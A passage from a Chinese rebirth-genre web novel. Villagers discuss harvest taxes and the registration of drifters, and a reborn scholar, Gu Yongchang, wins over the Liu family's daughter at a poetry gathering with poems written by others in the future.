后来商家配了一种凉茶包,放进去煮一大锅水喝,那暑气刷刷就没了,不仅人好受了,还省去中暑后看大夫吃药的钱。 所以消息传开后,商家的凉茶包就特别受欢迎。 他们留到最后也是想提前买。 结果…… 众人面面相觑:算了,明个再来吧。 “秋收后,官府就该来收税了,你家咋样了?” “还差不少呢,可能要卖些粮食,唉,我家妮子今年五岁,立住了,要给她上户,就多一份人头钱。” “偷着乐吧,现在官府只收人头税和田税,比起前朝可不知好了多少。” 众人不免又感叹一番当今陛下圣明。 这时有个人道:“也不知今年有没有流民入籍?” 天下太平了,人人都有户籍,若出远门还要去官府办路引,所以这里的流民指的是战乱时躲进山里的野人。 “若有就好了,待三年后我家就可以买地,我家地太少了。” 不知是谁又想到了陆理:“那陆大郎亏得不是流民,不然就他那个体型,三年开荒下来不得累死。” 一般来说,县令为增加治下人口都很积极催生,但一个孩子生下来得五岁了才算养住,才能入籍。 而本朝规定,就算是七品县令,也最多连任三界,即最多呆够十五年,就得平调去其他地方或升职。 所以对于立马就能入籍的流民,县太爷都很喜欢,会先给钱给粮,让他们安顿下来。 当然,为防有人骗吃骗喝,也必须签契约开够三年荒。 这开出来的荒地,流民可以自己留一半,剩下一半则归官府,或作为官田或放出来卖。 * 顾永昌已经回了家,他丢了个大丑,不愿意见商秋。 而且他从小娘子口中得知了一个重要消息,明天县里将有一场诗会,是柳家举办的。 顾永昌对这场诗会没有印象。 因为这种宴会有很多,或是某个大户组织,或是某个秀才牵头,更甚者就是县令本人。 后者顾永昌尚有一些兴趣,但前者……呵呵,不过是一些连童生都考不中的酒色之徒纵情玩乐罢了。 顾永昌根本不屑于参与,也不关心。 但这次,他决定赌一把,次日找出自己最好的衣服,早早出发去了镇上,然后从镇上雇了一辆车前往宴会场地。 他赌对了,只是在核对身份时报上姓名,就明显感觉到管家看他的目光不一样了,不仅亲自送他,还安排了一个极好的席位。 顾永昌目光环视一圈,看到了几个同样考中童生的年轻学子,心头微沉,知道他们也是冲着柳大娘来的,但很快又勾起笃定的笑容。 这场诗会对顾永昌而言,没有难度。 不提他本就资质上佳,于诗赋一道极有灵气,又有前世阅历,只拿出一首后来做的诗就形成了惊艳全场的效果。 没多久,便有一个婢子过来:“顾郎君,我家主人请您前往一叙。” 顾永昌心头微松,随后果然见到了后院坐在凉亭中的柳大娘。 一番问安,柳大娘道明来意,却是主动留他墨宝。 这是顾永昌擅长的领域,可为保一击必中,他特地写了一首同届状元郎几年后才做出来的诗,看着柳大娘惊讶倾慕的眼神,顾永昌心中得意。 这才正常。 顾永昌只觉得在商秋、在石头村受到的气都平了。 顺其自然的,两人定下了三日后的游湖之约。 柳大娘还特地遣了管家用马车送他回去,待人走了,贴身婢女有些激动的道:“娘子,这位顾童生不仅样貌出众,且极有文采,有举人之姿,他又对您有意,是极好的郎君人选,不如早日定下?” “不急。”柳大娘轻轻摇头,“且让人去打听他家里的事,再把今日名册拿来,我要多看看。” 夫君人选不仅事关她的终身,于家族也很要紧,轻忽不得。